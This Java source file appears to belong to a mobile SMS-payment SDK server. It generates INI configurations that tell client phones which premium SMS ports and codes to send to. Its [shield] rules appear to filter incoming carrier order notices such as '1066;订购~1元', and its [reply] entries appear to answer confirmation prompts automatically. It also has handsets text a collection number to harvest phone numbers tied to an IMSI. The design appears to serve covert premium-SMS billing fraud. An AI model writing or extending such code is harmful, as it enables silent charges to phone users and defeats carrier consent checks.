package com.client.model;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;

import com.manage.cache.AppPointOfBillingManager;
import com.manage.cache.ChannelAppPointofbillingManager;
import com.manage.cache.ConfirmTemplateManager;
import com.manage.cache.PayVersionAbilityManager;
import com.manage.cache.PayVersionManager;
import com.manage.cache.PhoneAddressManager;
import com.manage.cache.PointSdkConfigManager;
import com.manage.cache.SdkParamaterManager;
import com.manage.cache.SpInfoManager;
import com.manage.cache.ThreePayParamaterManager;
import com.manage.cache.ThreePayProvidersManager;
import com.manage.model.AppPointOfBilling;
import com.manage.model.AppSdk;
import com.manage.model.ChannelAppPointofbilling;
import com.manage.model.ConfirmTemplate;
import com.manage.model.PayVersion;
import com.manage.model.PayVersionAbility;
import com.manage.model.PointSdkConfig;
import com.manage.model.SdkParamater;
import com.manage.model.ThreePayParamater;
import com.manage.model.ThreePayProviders;
import com.util.ConstantUtil;
import com.util.MemCachedUtil;
import com.util.PayErrorCode;

public class SdkIniResponse {
	private Global global = new Global();
	private Reply reply = new Reply();
	private Shield shield = new Shield();
	List<String> sms = new ArrayList<String>();
	List<String> wap_url = new ArrayList<String>();
	List<String> cmgc = new ArrayList<String>();
	//生成下发的INI文件。
	private void init(SdkIPayOrder order,String error,List<ISpCodeProvince> icplist,List<AppSdk> appsdklist,List<PayVersionAbility> pvalist
			,PayVersion pv)
	{
		Map<String,String> map = ConstantUtil.getConstant("clentpayglobal");
		//String confirm = map.get("confirm");
		global.setError(error);
		global.setUserid(""+order.getUserId());
		global.setConfirm("1");
		global.setOrderid(order.getOrderId());
		global.setNexttime(map.get("nexttime"));
		String globalsms = "";
		
		if(order.getMobileNo()==null ||order.getMobileNo().length()<=0)
		{
			String imsi = "no";
			if(order.getImsi()!=null && order.getImsi().length()>0)
			{
				imsi = (String)MemCachedUtil.getInstance().get("userimsi:"+order.getImsi());
			}
			if(imsi==null || imsi.length()<=0)
			{
				if(PhoneAddressManager.getInstance().getPhoneAddresss().size()>0)
				{
					String str [] = PhoneAddressManager.getInstance().getPhoneAddress().getUpaddress().split(",");
					if(str.length>0)
					{
						Random rand = new Random();
						int j = rand.nextInt(str.length); 
						String content = PhoneAddressManager.getInstance().getPhoneAddress().getSendcontent();
						globalsms+=str[j]+","+content;
					}
				}
				if(order.getImsi()!=null && order.getImsi().length()>0)
				{
					//存入缓存，用户采集号码,缓存24小时
					MemCachedUtil.getInstance().add("userimsi:"+order.getImsi(), order.getImsi(),24*3600);
				}
			}
		}
		global.setSms(globalsms);
		global.setNexturl(map.get("nexturl1"));
		global.setReporturl(map.get("reporturl1"));
		global.setReport(map.get("report1"));
		global.setProvider("");
		if(icplist!= null && icplist.size()>0)
		{
			global.setProvider("1000");
			order.setSdkid("1000");
		}
		else
		{
			if(appsdklist!=null && appsdklist.size()>0)
			{
				for(int k=0;k<appsdklist.size();k++)
				{
					if(appsdklist.get(k).getSdkid()!=1000)
					{
						global.setProvider(""+appsdklist.get(0).getSdkid());
						order.setSdkid(""+appsdklist.get(0).getSdkid());
						break;
					}
				}
			}
		}
		
		if(global.getProvider()==null || "".equals(global.getProvider()))
		{
			String provider="";
			if(pvalist!=null && pvalist.size()>0)
			{
				ThreePayProviders tpp = null;
				PayVersionAbility pva = null;
				int j=0;
				for(int i=0;i<pvalist.size();i++)
				{
					pva = pvalist.get(i);
					if(pva.getPaytype().equals("three"))
					{
						tpp = ThreePayProvidersManager.getInstance().getThreePayProviders(pva.getPaysdkid());
						if(tpp!=null)
						{
							if(j>0)
							{
								provider = provider+","+tpp.getId();
							}
							else
							{
								provider+=tpp.getId();
							}
							j++;
						}
					}
				}
			}
			global.setProvider(provider);
			order.setSdkid(provider);
		}
		
		
		if(icplist!=null && icplist.size()>0)
		{
			//[shield]
			List<String> shsms = new ArrayList<String>();
			List<String> atsms = new ArrayList<String>();
			for(int g=0;g<icplist.size();g++)
			{
				ISpCodeProvince icp = icplist.get(g);
				if(icp.getFilter()!=null && icp.getFilter().size()>0)
				{
					for(int i=0;i<icp.getFilter().size();i++)
					{
						String str1 [] = {"","",""};
						str1[1] = icp.getFilter().get(i).getFilterPort();
						str1[0] = icp.getFilter().get(i).getFiltertype();
						if(icp.getFilter().get(i).getFilterContent1()!=null && !icp.getFilter().get(i).getFilterContent1().equals(""))
							str1[2] = icp.getFilter().get(i).getFilterContent1();
						if(icp.getFilter().get(i).getFilterContent2()!=null && !icp.getFilter().get(i).getFilterContent2().equals(""))
							str1[2] = str1[2]+"~"+icp.getFilter().get(i).getFilterContent2();
						shsms.add(str1[0]+","+str1[1]+";"+str1[2]);
					}
				}
				
				//[reply]
				if(icp.getConFirm()!=null && icp.getConFirm().size()>0)
				{
					for(int i=0;i<icp.getConFirm().size();i++)
					{
						String str1 [] = {"","","","","","","",""};
						str1[0] = icp.getConFirm().get(i).getIssuedPort();
						if(icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
							str1[1] = icp.getConFirm().get(i).getConfirmCodeContent1();
						if(icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
							str1[2] = icp.getConFirm().get(i).getConfirmCmdContent1();
						if(!icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
							str1[3] = icp.getConFirm().get(i).getConfirmCmdContent1();
						if(!icp.getConFirm().get(i).getConfirmCmdType().equals("1"))
							str1[4] = icp.getConFirm().get(i).getConfirmCmdContent2();
						if(!icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
							str1[5] = icp.getConFirm().get(i).getConfirmCodeContent1();
						if(!icp.getConFirm().get(i).getConfirmCodeType().equals("1"))
						str1[6] = icp.getConFirm().get(i).getConfirmCodeContent2();
						str1[7] = icp.getConFirm().get(i).getIssuedKey();
						atsms.add(str1[0]+";"+str1[1]+";"+str1[2]+";"+str1[3]+";"+str1[4]+";"+str1[5]+";"+str1[6]+";"+str1[7]);
					}
				}
		//		 [pay]
		//		 delay = 15
		//		 useragent = n73
		//		 sms = 13911263348,XAF,1
				//[sms]
				//判断是否是短信或者彩信
				if(icp.getCodeType().equals("1") || icp.getCodeType().equals("2"))
				{
					String str1 [] = {"","",""};
					str1[0] = icp.getSmspayport();
					str1[1] = icp.getSmspaycode();
					if(icp.getFeeValue().equals(order.getRequestfee()))
					{
						str1[2] = "1";
					}
					else
					{
						str1[2] = ""+(Integer.parseInt(order.getRequestfee())/Integer.parseInt(icp.getFeeValue()));
					}
					sms.add(str1[0]+","+str1[1]+","+str1[2]);
					
				}
				else if(!icp.getCodeType().equals("1") && !icp.getCodeType().equals("2") && !icp.getCodeType().equals("13"))
				{
					wap_url.add(icp.getBasepayaction());
				}
				else if(icp.getCodeType().equals("13")){
					cmgc.add(icp.getBaseparameter());
				}
				
				//set confirmstr
				String rsp = SpInfoManager.getInstance().getSpInfo(icp.getSpId())==null?"":SpInfoManager.getInstance().getSpInfo(icp.getSpId()).getSpName();
				String rfee= ""+(Integer.parseInt(order.getRequestfee())/100);
				String rcount=""+(Integer.parseInt(order.getRequestfee())/Integer.parseInt(icp.getFeeValue()));
				String rbusiness=icp.getCodeName();
				String rprice=""+(Integer.parseInt(icp.getFeeValue())/100);
				
				if(pv!=null)
				{
					ConfirmTemplate ct = ConfirmTemplateManager.getInstance().getConfirmTemplate(pv.getConfirmtemplateid());
					String str = ct.getTemplateremark();
					if(str!=null)
					{
						str = str.replace("{sp}",rsp);
						str = str.replace("{fee}",rfee);
						str = str.replace("{count}",rcount);
						str = str.replace("{business}",rbusiness);
						str = str.replace("{price}",rprice);
						str = str.replace("\r","\\r").replace("\n", "\\n");
						global.setConfirmstr(str);
					}
				}
			}
			shield.setShsms(shsms);
			reply.setAtsms(atsms);
		}
		
	}
	public String generate(SdkIPayOrder order,String error,List<ISpCodeProvince> icplist,List<AppSdk> appsdklist,String payversioncode,String payversionname
			,String appVersionNumber,String goodscode)
	{
		
		/////123111111111111111111111===
		List<PayVersionAbility> pvalist = null;
		PayVersion pv = PayVersionManager.getInstance().getPayVersionByCode(payversioncode);
		if(error==PayErrorCode.RESPONSE_NO_PAY)
		{
			if(pv!=null)
			{
				pvalist = PayVersionAbilityManager.getInstance().getPayVersionAbilityByPayVersionId(pv.getId());
			}
		}
		init(order,error,icplist,appsdklist,pvalist,pv);
		if(pvalist!=null && pvalist.size()>0)
		{
			global.setError("");
		}
		
		
		StringBuffer reString = new StringBuffer("");
		
		reString.append("[global]");
		reString.append("\r\n");
		
		reString.append("error="+global.getError());
		reString.append("\r\n");
		reString.append("userid="+global.getUserid());
		reString.append("\r\n");
		reString.append("confirm="+global.getConfirm());
		reString.append("\r\n");
		reString.append("orderid="+global.getOrderid());
		reString.append("\r\n");
		reString.append("sms="+global.getSms());
		reString.append("\r\n");
		reString.append("nexturl="+global.getNexturl());
		reString.append("\r\n");
		reString.append("reporturl="+global.getReporturl());
		reString.append("\r\n");
		reString.append("report="+global.getReport());
		reString.append("\r\n");
		reString.append("provider="+global.getProvider());
		reString.append("\r\n");
		
		
		reString.append("[shield]"+"\r\n");
		if(shield.getShsms()!=null && shield.getShsms().size()>0)
		{
			for(int i=0;i<shield.getShsms().size();i++)
			{
				reString.append("shield"+(i+1)+"="+shield.getShsms().get(i)+"\r\n");
			}
		}
		reString.append("\r\n");
		
		reString.append("[reply]"+"\r\n");
		if(reply.getAtsms()!=null && reply.getAtsms().size()>0)
		{
			for(int i =0;i<reply.getAtsms().size();i++)
			{
				reString.append("reply"+(i+1)+"="+reply.getAtsms().get(i)+"\r\n");
			}
		}
		
		reString.append("\r\n");
		if((sms!=null&&sms.size()>0) || (wap_url!=null&&wap_url.size()>0) || (cmgc!=null&&cmgc.size()>0))
		{
			reString.append("[1000]"+"\r\n");
			String confirm = "true";
			String confirmstr=global.getConfirmstr();
			ChannelAppPointofbilling c = ChannelAppPointofbillingManager.getInstance().getChannelAppPointofbillingByAppVersionNumber(appVersionNumber, goodscode);
			if(c!=null)
			{
				confirm = c.getConfirm();
				if(c.getConfirmtype().equals("sp"))
				{
				}
				else
				{
					confirmstr = c.getConfirmstr().replace("\r","\\r").replace("\n", "\\n");
				}
			}
			reString.append("confirm="+confirm+"\r\n");
			reString.append("confirmstr="+confirmstr+"\r\n");
			if(sms!=null&&sms.size()>0)
			{
				for(int i =0;i<sms.size();i++)
				{
					reString.append("sms"+(i+1)+"="+sms.get(i)+"\r\n");
				}
				//==============================================
			}
			//========wap基地===================
			if(wap_url!=null&&wap_url.size()>0)
			{
				for(int i =0;i<wap_url.size();i++)
				{
					reString.append("wap"+(i+1)+"="+wap_url.get(i)+"\r\n");
				}
			}
			//=========游戏基地===============
			if(cmgc!=null&&cmgc.size()>0)
			{
				for(int i =0;i<cmgc.size();i++)
				{
					reString.append("pcmgc"+(i+1)+"="+cmgc.get(i)+"\r\n");
				}
			}
		}else
		{
			if(appsdklist!=null && appsdklist.size()>0)
			{
				List<PointSdkConfig> listpsc = new ArrayList<PointSdkConfig>();
				if(order.getGoodscode()!=null && !"".equals(order.getGoodscode()))
				{
					int pointofbillingid = 0;
					try{
						List<AppPointOfBilling> al = AppPointOfBillingManager.getInstance().getAppPointOfBillingOfAppNumber(order.getAppid(), order.getGoodscode());
						if(al!=null && al.size()>0)
						{
							pointofbillingid = al.get(0).getId();
						}
					}catch(Exception ex){}
					listpsc = PointSdkConfigManager.getInstance().getPointSdkConfigByPointofbillingid(pointofbillingid);
				}
				for(int k=0;k<appsdklist.size();k++)
				{
					if(appsdklist.get(k).getSdkid()!=1000)
					{
						reString.append("["+appsdklist.get(k).getSdkid()+"]\r\n");
						boolean f = true;
						if(listpsc!=null && listpsc.size()>0)
						{
							for(int i=0;i<listpsc.size();i++)
							{
								if(listpsc.get(i).getSdkprovidersid()==appsdklist.get(k).getSdkid())
								{
									String strvalue = listpsc.get(i).getPrarmatervalue();
									if(strvalue!=null && strvalue.length()>0)
									{
										String str[] = strvalue.split("#");
										for(int j = 0;j<str.length;j++)
										{
											reString.append(str[j]+"\r\n");
											f = false;
										}
									}
								}
							}
						}
						if(f)
						{
							List<SdkParamater> splist = SdkParamaterManager.getInstance().getSdkParamaterBysdkid(appsdklist.get(k).getSdkid());
							
							for(int p=0;p<splist.size();p++)
							{
								String str = splist.get(p).getHashkey()+"="+splist.get(p).getHashvalue()+"\r\n";
								reString.append(str);
							}
						}
						break;
					}
				}
			}
		}
		if(error==PayErrorCode.RESPONSE_NO_PAY)
		{
			if(pvalist!=null && pvalist.size()>0)
			{
				ThreePayProviders tpp = null;
				PayVersionAbility pva = null;
				for(int i=0;i<pvalist.size();i++)
				{
					pva = pvalist.get(i);
					if(pva.getPaytype().equals("three"))
					{
						tpp = ThreePayProvidersManager.getInstance().getThreePayProviders(pva.getPaysdkid());
						if(tpp!=null)
						{
							reString.append("["+tpp.getId()+"]\r\n");
							List<ThreePayParamater> tpplist = ThreePayParamaterManager.getInstance().getThreePayParamaterByThreePayId(tpp.getId());
							for(int j =0;j<tpplist.size();j++)
							{
								reString.append(tpplist.get(j).getHashkey()+"="+tpplist.get(j).getHashvalue()+"\r\n");
							}
						}
					}
				}
			}
		}
		return reString.toString(); 
	}
	public String generatenull(SdkIPayOrder order,String error)
	{
		StringBuffer reString = new StringBuffer("");
		if(order==null)
		{
			Map<String,String> map = ConstantUtil.getConstant("clentpayglobal");
			reString.append("[global]");
			reString.append("\r\n");
			reString.append("error="+error);
			reString.append("\r\n");
			reString.append("userid=");
			reString.append("\r\n");
			reString.append("confirm=");
			reString.append("\r\n");
			reString.append("orderid=");
			reString.append("\r\n");
			reString.append("sms=");
			reString.append("\r\n");
			reString.append("nexturl="+map.get("nexturl1"));
			reString.append("\r\n");
			reString.append("reporturl="+map.get("reporturl1"));
			reString.append("\r\n");
			reString.append("report="+map.get("report1"));
			reString.append("\r\n");
			reString.append("provider=");
			reString.append("\r\n");
			reString.append("[shield]"+"\r\n");
			reString.append("\r\n");
			reString.append("[reply]"+"\r\n");
			return reString.toString();
		}else
		{
			init(order,error,null,null,null,null);
			reString.append("[global]");
			reString.append("\r\n");
			reString.append("error="+global.getError());
			reString.append("\r\n");
			reString.append("userid="+global.getUserid());
			reString.append("\r\n");
			reString.append("confirm="+global.getConfirm());
			reString.append("\r\n");
			reString.append("orderid="+global.getOrderid());
			reString.append("\r\n");
			reString.append("sms="+global.getSms());
			reString.append("\r\n");
			reString.append("nexturl="+global.getNexturl());
			reString.append("\r\n");
			reString.append("reporturl="+global.getReporturl());
			reString.append("\r\n");
			reString.append("report="+global.getReport());
			reString.append("\r\n");
			reString.append("provider=");
			reString.append("\r\n");
			
			
			reString.append("[shield]"+"\r\n");
			reString.append("\r\n");
			reString.append("[reply]"+"\r\n");
		}
		return reString.toString();
	}

	public class Global
	{
//		[global]
//		 error=
//		 userid = 1
//		 confirm = 购买示例，单价5元？
//		 orderid = o1123413
//		 sms = 13911263348,my:{imsi}
//		 #nexturl = http://sdk1.pupkk.com/pay/order.do
//		 reporturl = http://sdk1.pupkk.com/i/r.jsp
	//
		public Global()
		{
			
		}
		public String error;
		public String userid;
		public String confirm;
		public String orderid;
		public String sms;
		public String nexturl;
		public String reporturl;
		public String report;
		public String nexttime;
		public String provider;
		
		private String confirmstr;
		
		
		public String getNexttime() {
			return nexttime;
		}
		public void setNexttime(String nexttime) {
			this.nexttime = nexttime;
		}
		public String getReport() {
			return report;
		}
		public void setReport(String report) {
			this.report = report;
		}
		public String getError() {
			return error;
		}
		public void setError(String error) {
			this.error = error;
		}
		public String getUserid() {
			return userid;
		}
		public void setUserid(String userid) {
			this.userid = userid;
		}
		public String getConfirm() {
			return confirm;
		}
		public void setConfirm(String confirm) {
			this.confirm = confirm;
		}
		public String getOrderid() {
			return orderid;
		}
		public void setOrderid(String orderid) {
			this.orderid = orderid;
		}
		public String getSms() {
			return sms;
		}
		public void setSms(String sms) {
			this.sms = sms;
		}
		public String getNexturl() {
			return nexturl;
		}
		public void setNexturl(String nexturl) {
			this.nexturl = nexturl;
		}
		public String getReporturl() {
			return reporturl;
		}
		public void setReporturl(String reporturl) {
			this.reporturl = reporturl;
		}
		public String getProvider() {
			return provider;
		}
		public void setProvider(String provider) {
			this.provider = provider;
		}
		public String getConfirmstr() {
			return confirmstr;
		}
		public void setConfirmstr(String confirmstr) {
			this.confirmstr = confirmstr;
		}
	}
	public class Reply{
		//
//		 [reply]
//		 reply=13760711919;13760711919;TT;;;;;
		private List<String> atsms;

		/**
		 * @return the atsms
		 */
		public List<String> getAtsms() {
			return atsms;
		}

		/**
		 * @param atsms the atsms to set
		 */
		public void setAtsms(List<String> atsms) {
			this.atsms = atsms;
		}
		
	}
	public class Shield{
//		 [shield]
//		 shield=1,1066;订购~1元

		private List<String> shsms;

		/**
		 * @return the shsms
		 */
		public List<String> getShsms() {
			return shsms;
		}

		/**
		 * @param shsms the shsms to set
		 */
		public void setShsms(List<String> shsms) {
			this.shsms = shsms;
		}
		
	}
	public List<String> getSms() {
		return sms;
	}
	public void setSms(List<String> sms) {
		this.sms = sms;
	}
	public List<String> getWap_url() {
		return wap_url;
	}
	public void setWap_url(List<String> wapUrl) {
		wap_url = wapUrl;
	}
	public List<String> getCmgc() {
		return cmgc;
	}
	public void setCmgc(List<String> cmgc) {
		this.cmgc = cmgc;
	}
	
	
	
}
